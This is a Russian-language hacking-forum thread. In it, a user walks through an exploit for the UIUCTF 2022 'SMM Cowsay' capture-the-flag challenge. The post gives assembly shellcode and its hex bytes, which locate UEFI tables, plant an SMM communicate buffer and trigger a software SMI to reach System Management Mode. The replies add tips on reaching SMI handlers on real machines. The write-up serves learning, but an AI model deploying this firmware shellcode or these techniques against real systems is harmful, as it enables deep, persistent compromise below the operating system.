• XSS.stack #1 – первый литературный журнал от юзеров форума

PWN [Ring\-2][PWN] -- SMMCowSay

swagcat228

X-pert
Эксперт
Регистрация
23.12.2019
Сообщения
284
Реакции
232
Депозит
300
Доброго времени суток, Дамага.

Давно я ничего не писал.., но на днях добрые люди сподвигли меня к написанию данной статьи, другие добрые люди забустили мое погружение в глубины отрицательных колец, щепотку мотивации и появился этот пост =)

За основу я взял https://toh.necst.it/uiuctf/pwn/system/x86/rop/UIUCTF-2022-SMM-Cowsay/
Как по мне то, что нужно для вкатывания в сабж.
Отдельного внимания стоят патчи, которые парни под флагом гугла скромно оставили в папочке с цтф.

C:
|root@ip106|:{/mnt/handout/chal_build/patches/edk2} #_ bcat -p 0001-PiSmmCore-Fix-for-CVE-2021-38578-integer-underflow.patch
From 6a37b8dacd5b79b2e45b05a354d4a6499e7ab295 Mon Sep 17 00:00:00 2001
From: YiFei Zhu <zhuyifei@google.com>
Date: Fri, 24 Jun 2022 21:19:02 -0700
Subject: [PATCH 1/5] PiSmmCore: Fix for CVE-2021-38578 integer underflow

Vanilla EDK-II does not seem to be exploitable, since the BufferSize
gets checked again by individual SMM modules. Patch it here anyways
since it's not how you are going to solve the chal.

This is not how upstream patched this CVE. Upstream seemed to have
never did anything. I'm guessing this is due to a lack of a
compiler-independent way to check for underflows?

Signed-off-by: YiFei Zhu <zhuyifei@google.com>
---
 MdeModulePkg/Core/PiSmmCore/PiSmmCore.c | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/MdeModulePkg/Core/PiSmmCore/PiSmmCore.c b/MdeModulePkg/Core/PiSmmCore/PiSmmCore.c
index 9e5c6cbe33..b3faa9434f 100644
--- a/MdeModulePkg/Core/PiSmmCore/PiSmmCore.c
+++ b/MdeModulePkg/Core/PiSmmCore/PiSmmCore.c
@@ -651,6 +651,7 @@ SmmEntryPoint (
   EFI_SMM_COMMUNICATE_HEADER  *CommunicateHeader;
   BOOLEAN                     InLegacyBoot;
   BOOLEAN                     IsOverlapped;
+  BOOLEAN                     BufferSizeUnderflow;
   VOID                        *CommunicationBuffer;
   UINTN                       BufferSize;
 
@@ -699,7 +700,12 @@ SmmEntryPoint (
                        (UINT8 *)gSmmCorePrivate,
                        sizeof (*gSmmCorePrivate)
                        );
-      if (!SmmIsBufferOutsideSmmValid ((UINTN)CommunicationBuffer, BufferSize) || IsOverlapped) {
+      BufferSizeUnderflow = __builtin_sub_overflow_p (
+                              BufferSize,
+                              OFFSET_OF (EFI_SMM_COMMUNICATE_HEADER, Data),
+                              BufferSize
+                              );
+      if (!SmmIsBufferOutsideSmmValid ((UINTN)CommunicationBuffer, BufferSize) || IsOverlapped || BufferSizeUnderflow) {
         //
         // If CommunicationBuffer is not in valid address scope,
         // or there is overlap between gSmmCorePrivate and CommunicationBuffer,
--
2.35.1

Хех, да уж, в корпорации добра/зла (нужное подчеркнуть) знают в чем толк =)

0) Вступление
Разумеется, если бы я пошел тем же самым способом, что описан во врайтапе по ссылке выше - это был бы перевод, а не статья.
Мне, почему-то, нравится писать код так, что бы он решал задачу даже в отличных от исходных условиях. Это не всегда возможно, не редко рисковано, но в контексте цфт допустимо.
И так. Первое что мне следовало сделать - это настроить более-ли-менее удобную для работы отладочную среду. Кстати, это один из важных, как по мне, аспектов - когда люди учатся сугубо на цтф тасках - то в боевых условиях они потом "неподвижны".
Вот такой вот вид приобрел скрипт запуска после коррективов.

1724421667654.png


На порту 7 появился ожидающий подключения GDB stub - с большой натяжкой его можно назвать аналогом JTAG в конкретном частном контексте текущего таска - так как он позволяет спускаться в область SMM.
на порту 4444 появился qemu-monitor - там можно снять дамп памяти например, сделать снапшот вирты и т.д., может быть полезно.
Последние строчки использовались для трассировки контрол-флоу, что бы первично оценить какие инструкции (вернее мнемоника out) вызывались после каких ключевых чекпоинтов, сколько их было и в какой последовательности.

1) Базовые ведомости про SMM

Первое что я понял, это то, что есть (как минимум) два контекста работы с SMM. Первый контекст - это контекст до RT (run-time) - в нем работают DXE модули. Модули DXE, в свою очередь, работают на нулевом кольце (как ядро линукса).
При переходе в RT - DXE модули (но не все, либо не полностью) выгружаются, а вместо них загружается ядро. Весь такск у нас в DXE контексте.
В UEFI (по EDK2, это очень важно, т.к. фичи EDK2 не прописаны в спеке UEFI, а вендоры придерживаются спека UEFI не всегда) существует свой протокол mSmmCommunication - это сущность в виде гномика, которая позволяет воспользоваться встроенным SMM коммуникатором.
Но в глубине души, да и по опыту ядра Линукса, я чувствовал, что все эти слои абстракции должны развернуться в что-то очень простое в пару инструкций. Так оно и получилось.
Грубо говоря, (EDK2) код SMM и код супервизоров (DXE) синхронизирован и написан как единое целое. SW SMI обработчик (код SMM) знает куда ему идти (адрес) за вводными данными, и знает какие у кого зареганы хендлеры.
Кстати, хендлеры бывают глобальные (номера записанные в порты IO, а именно 0xb3 -- аргумент, 0xb2 -- собственно порт-тригер), и те, которые в до RT стейдже зарегает прошивка. Под них выделен, обычно, один какой-то номер (глобальный) и существует отдельная логика (в SMM) которая как-то потом обрабатывает прерывание.
https://nixhacker.com/digging-into-smm/ вот тут можно будет ознакомиться более детально.

Так же в EDK2 есть свой аллокатор, и свой механизм проверки "легетимности" переданого в SMM комм-хедера.
Комм-хедер - это объект, который содержит GUID адресата, ну и вектор с данными. Что бы достать до SMM обработчиков (пройти проверки) этот объект должен находиться в специальной памяти (EFI_MEMORY_TYPE == EfiRuntimeServicesData == 6).
1724434559060.png

Позже, если обработчик SW SMI пройдет первичные проверки, то код SMM (что одно и то же) пробежится по связному списку зареганых в DXE стейдже хендлеров, сравнит GUID, и, если найдет нужный, передаст управление в код нужного обработчика.
Обработчики, к слову, так же хранятся в памяти SMM -- SMRAM. Она не доступна из r0, при попытке чтения/записи возвращаются/пишутся другие данные, либо происходит что-то еще, но не то, что нужно.

Указатель на данный объект (Комм-хедер) кладется в специально выделенное (определенное разработчиками) для этих целей место по статичному оффсету 56:
1724434463196.png

Место это, как я писал выше, задефайнено разрабами и находится в конкретном месте =)
Ну и самое главное, это то, что у всех ключевых объектов в памяти первым делом идет ничто иное, как сигнатура! Причем довольно уникальная, 64 битная. Иногда искомых объектов может быть несколько, так что после нахождения сигнатуры стоит проверить какое-нибудь поле, но это уже слледующий раздел =)

2) Выбор стратегии

Первый вопрос что у меня возник после прочтения врайтапа: а можно не разыменовывать таблицы UEFI, а сделать все прям вот в лоб!? Благо, добрые люди подсказали, что оно-то может и можно, ровно как из буханки белого (или серого) хлеба сделать троллейбус, но зачем?
Так что я ограничился в кол-ве применяемой рефлексии, и свел ее до двух моментов:
а) нахождение таблицы UEFI
б) нахождение коммбуффера.
в) F1R3 SW SMI =D
Честно говоря изначально я вообще хотел обойтись без взаимодействия с табличкой эфи, но из-за проверок адресов на принадлежность комм-буффера к EfiRuntimeServicesData мне пришлось все-же взаимодействовать с местным аллокатором.
Аллокатор, по сути, просто добавляет в связный список новый чанк (тоже есть сигнатура у него, mmap\0\0\0\0) и, в принципе, этого достаточно что бы в обработчике SW SMI позже определить, были ли эти данные переданы из легетимного буффера, или нет.

Собственно, ничего сложного, но есть пару моментов.

3) Переходим к реализации
  • Ну что, нам надо будет написать шелл-код который:
  • запустится в контексте r0,
  • найдет табличку UEFI,
  • найдет спец. объект SMM_CORE_PRIVATE_DATA,
  • выделит спец. память EfiRuntimeServicesData,
  • скопирует в нее пейлоад в формате EFI_SMM_COMMUNICATE_HEADER,
  • запишет указатель вектора и размер в спец. место,
  • и в принципе, сгенирирует SW SMI.

так что вооружаемся чатом гпт, либо компилятором gcc, либо просто справочником по ASM и вперед.

А для визуализации происходящих событий воспользуемся GDB.
В одном окошке запускаем скрипт run.sh, в другом отладчик. Я использую привычный pwndbg, но тут уже дело вкуса.
1724436387373.png

отпускаем выполнение командой `c` и дожидаемся коровку
1724436477019.png


Коровка нам подсказывает адрес системной таблички, но мы и сами с усами, так что воспользуемся только вторым адресом, где будет запущен шелл-код, и поставим а него бряк
`b *0x000000000517d100`

Далее нам нужно найти таблицу эфи, так что посмотрим в сорцы едк2:
-> EFI_SYSTEM_TABLE <-
начинается она, как порядочная таблица, с хедера
-> EFI_TABLE_HEADER <-
которы, как порядочный хедер, начинается с сигнатуры
-> EFI_SYSTEM_TABLE_SIGNATURE <-

Так что, наша задача найти 8байтный паттерн в диапазоне от 0 до 4GB.
Особенностью будет то, что таблички имеют выравнивание не менее 8 байт, так что это снизит вероятность коллизии, и время необходимое на поиски.

Код:
xor rcx, rcx
mov rsi, 0x5453595320494249

l1:
mov rax, qword ptr [rcx]
cmp rax, rsi
je m1

add rcx, 8
cmp rcx, 0xffffffff+1-0x1000
je notok
jmp l1

m1:
mov r9, qword ptr [rcx+96]
cmp r9, 0
jg l1ok
add rcx, 8
jmp l1

l1ok:
... snipped ...

И так, вроде как это оно. Конечно же, такая проверка не самый надежный способ, но для примера хватит за глаза.

Далее нужно выделить буффер и скопировать в него подготовленный комхедер:
Код:
... snipped ...
mov rbx, qword ptr [r9 + 64]
lea r8, qword ptr [rip+pool]
mov rdx, 0x1000
mov rcx, 6
call rbx
test rax,rax
jnz notok

mov rcx, 32
mov rdi, qword ptr [rip+pool]
lea rsi, qword ptr [rip+combuf]
cld
rep movsb
... snipped ...
плейсхолдеры под pool и combuf находятся ниже, за эпилогом из шелл-кода.


теперь, нужно найти спец. табличку:
Код:
... snipped ...
xor r8,r8
xor rcx, rcx
mov rsi, 0x636d6d73

l2:
mov rax, qword ptr [rcx]
cmp rax, rsi
je maybeok

add rcx, 0x10
cmp rcx, 0xffffffff+1-0x1000
je notok
jmp l2

maybeok:
mov r9, qword ptr [rcx+16]
cmp r9, 0
jg ok
add rcx, 0x10
jmp l2

notok:
ud2

ok:
... snipped ...

спец. табличку мы уже видели, выше. Если она проинициализированна - то в ней будут не нулевым, например, SMRAMRangeCount.
Так же, после SW SMI адрес на комм-буфф сотрется, а в ReturnStatus запишется код возврата.

ну и в принципе все, осталось только заполнить спец. табличку и сгенерировать SW SMI
Код:
... snipped .
mov rax, qword ptr [rip+pool]

mov qword ptr [rcx+56], rax
mov qword ptr [rcx+64], 32

xor rax,rax
xor rcx,rcx
xor rdx,rdx
xor r8,r8
xor r9,r9
xor r10,r10
xor rdi,rdi
xor rsi,rsi
nop

out 0xb2, ax

done:
   
nop
ret  
int3
ud2

pool:
    .quad 0
       
combuf:
    .octa 0xf79265547535a8b54d102c839a75cf12
    .quad 8
    .quad 0x44440000

; EOF

Теперь идем на шелл-шторм, и генерируем там шелл-код в хексе.

48 31 c9 48 be 49 42 49 20 53 59 53 54 48 8b 01 48 39 f0 74 06 48 83 c1 08 eb f2 4c 8b 49 60 49 83 f9 00 7f 06 48 83 c1 08 eb e2 49 8b 59 40 4c 8d 05 93 00 00 00 48 c7 c2 00 10 00 00 48 c7 c1 06 00 00 00 ff d3 48 85 c0 75 48 48 c7 c1 20 00 00 00 48 8b 3d 70 00 00 00 48 85 ff 74 35 48 8d 35 6c 00 00 00 fc f3 a4 4d 31 c0 48 31 c9 48 c7 c6 73 6d 6d 63 48 8b 01 48 39 f0 74 06 48 83 c1 10 eb f2 4c 8b 49 10 49 83 f9 00 7f 08 48 83 c1 10 eb e2 0f 0b 48 8b 05 2d 00 00 00 48 89 41 38 48 c7 41 40 20 00 00 00 48 31 c0 48 31 c9 48 31 d2 4d 31 c0 4d 31 c9 4d 31 d2 48 31 ff 48 31 f6 90 66 e7 b2 90 c3 cc 0f 0b 00 00 00 00 00 00 00 00 12 cf 75 9a 83 2c 10 4d b5 a8 35 75 54 65 92 f7 08 00 00 00 00 00 00 00 00 00 44 44 00 00 00 00

В принципе можно использовать и питоновый pwnlib, но питон с pwnlib есть под рукой не всегда, так что по старинке: http://shell-storm.org/online/Online-Assembler-and-Disassembler

4) Тестируем эксплойт =)

pwndbg> i b
Код:
1 breakpoint keep y 0x000000000517d100 
pwndbg> c
Continuing.
Breakpoint 1, 0x000000000517d100 in ?? ()


1724449939013.png


Выполнение остановилось на брейкпоинте в самом начале, в точке входа в шелл-код. Отлично.
Рассмотрим подробнее что произойдет.

поставим бряк на вызов аллокатора:
1724450073954.png


Как мы видим, в r9 виднеется сигнатура BootServices. Можно было сразу искать и ее, но не принципиально.

Далее, взглянем как у нас получилось найти спец. табличку:
1724450351075.png


в $rcx линейный адрес, в котором совпал паттерн сигнатуры.
Я подсветил ключевые поля на скриншоте выше, все логично это как раз 3 поля: CommunicationBuffer, BufferSize, ReturnStatus.
Следующая остановка - SW SMI
1724450844674.png

Верхнеуровнему Питону аж поплохело с таких погружений, но олдскульный GDB держится молодцом =)
Как вы все понимаете, мы схитрили что бы поймать аппаратное прерывание, и записали в аппаратный отладочный регистр адрес, где хранится указатель на комбуфер.
Тогда в момент, где происходит обращение к данной памяти, срабатывает отладочный механизм и мы получаем управление. :3

1724450985293.png

В общем, смысл ты, думаю, понял.


1724451301436.png


Вот и все. Вот такой таск получился прикольный.
Миру Мир, Героям Слава!


P.S. У внимательного читателя должен был возникнуть вопрос, почему мы обнулили регистры перед входом в SW SMI.
В кратце: SMM появился за долго до UEFI, и олдовый протокол использовал для передачи аргументов регистры и порты IO.
Так что на всякий случай лучше обнулиться.

Автор: swagcat228
Повторно заPWNено специально для коммьюнити xss.pro (c)
 

Вложения

  • 1724447136431.png
    1724447136431.png
    21.7 КБ · Просмотры: 27
Пожалуйста, обратите внимание, что пользователь заблокирован
Годный цтф надо будет тоже самому попробовать.
 
People sometimes say that once you’re in SMM you’re at “ring −2”. Deeper than the kernel, hypervisor or even firmware. But ironically, SMM code can be the sloppiest code in the sys reused from 15 yearold “vendor reference code” rarely updated/tested, “just do out 0xb2, AL + call it done”. So while it’s “the deepest ring”, it’s also the ring with the scariest code base...
 
“just do out 0xb2, AL + call it done”
With the note that out is available mainly in kernel space, only then you can trigger SMI on CPU pin 0xB2 (and not always the fact that it is the right one, it is best to look at FADT in ACPI), also you should not forget about pin 0xB3 for passing data to such handlers. And we are only talking about SW SMI (Software System Management Interrupt Handler).
If you are curious, there is a way to trigger not only SW SMI Handlers, but also Child Handlers, which require passing GUID to the main interrupt handler (for the more details refer here) in MM, but in this case you need to be able to convoy a buffer with a certain header into MM space, and also to know which physical address range is reserved for communication (it is logical that the addresses are 32-bit and quite “low”). You can rely on the registry heap HKEY_LOCAL_MACHINE\HARDWARE\RESOURCEMAP\System Resources\Loader Reserved to make your task easier (and there you can also find a rather important structure - System Management Core Private Data).
If you want even more “interesting things”, the platform also has Root Handlers, which are handlers that are triggered at each SMI. These handlers can be triggered in a controlled way from the user-mode, for example, through the NtSetSystemEnvironmentValueEx syscall, which will call some function in HAL, HAL will refer to the structure with converted pointers to runtime services, and they will transfer you to SMM.

I wouldn't say it's “just done”. And, yes, if the goal is to exploit MM - first of all it is necessary to target vendor drivers, not those that are standard in every firmware..
 
With the note that out is available mainly in kernel space, only then you can trigger SMI on CPU pin 0xB2 (and not always the fact that it is the right one, it is best to look at FADT in ACPI), also you should not forget about pin 0xB3 for passing data to such handlers. And we are only talking about SW SMI (Software System Management Interrupt Handler).
If you are curious, there is a way to trigger not only SW SMI Handlers, but also Child Handlers, which require passing GUID to the main interrupt handler (for the more details refer here) in MM, but in this case you need to be able to convoy a buffer with a certain header into MM space, and also to know which physical address range is reserved for communication (it is logical that the addresses are 32-bit and quite “low”). You can rely on the registry heap HKEY_LOCAL_MACHINE\HARDWARE\RESOURCEMAP\System Resources\Loader Reserved to make your task easier (and there you can also find a rather important structure - System Management Core Private Data).
If you want even more “interesting things”, the platform also has Root Handlers, which are handlers that are triggered at each SMI. These handlers can be triggered in a controlled way from the user-mode, for example, through the NtSetSystemEnvironmentValueEx syscall, which will call some function in HAL, HAL will refer to the structure with converted pointers to runtime services, and they will transfer you to SMM.

I wouldn't say it's “just done”. And, yes, if the goal is to exploit MM - first of all it is necessary to target vendor drivers, not those that are standard in every firmware..
Most writeups assume QEMU defaults or reference older Intel platforms that do indeed trigger a software SMI at port 0xB2. It’s the standard EDK2 “quick path”. In CTFs, I frequently saw a bunch of contrived environments (like a custom QEMU build) that makes 0xB2 the “one true SW-SMI port”, so it’s a quick demonstration: “Here’s the out instruction and we land in SMM.”
These blog posts present the “happy path” demonstration lol.
 
Most writeups assume QEMU defaults or reference older Intel platforms that do indeed trigger a software SMI at port 0xB2. It’s the standard EDK2 “quick path”. In CTFs, I frequently saw a bunch of contrived environments (like a custom QEMU build) that makes 0xB2 the “one true SW-SMI port”, so it’s a quick demonstration: “Here’s the out instruction and we land in SMM.”
Yep, that's probably true. The original OVMF does not contain a driver to register the SW SMI protocol, but, it can be ported (this one, for example). From my memory, there can be problems with Save State, at least on Windows hosts where there is no KVM.
 
Yep, that's probably true. The original OVMF does not contain a driver to register the SW SMI protocol, but, it can be ported (this one, for example). From my memory, there can be problems with Save State, at least on Windows hosts where there is no KVM.
Ah, very neat, thanks for the PchSmmHelpers (out of likes for the day(
I’m guessing you’ve done real hardware SMM dev, too?
One day, we'd love to hear some anecdotes + "war stories” from debugging on a physical platform vs QEMU.)
 
I’m guessing you’ve done real hardware SMM dev, too?
And that was, in general, it's quite interesting to work with something that there's not a lot of information on on the web.
One day, we'd love to hear some anecdotes + "war stories” from debugging on a physical platform vs QEMU.)
This was planned for the future ;)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх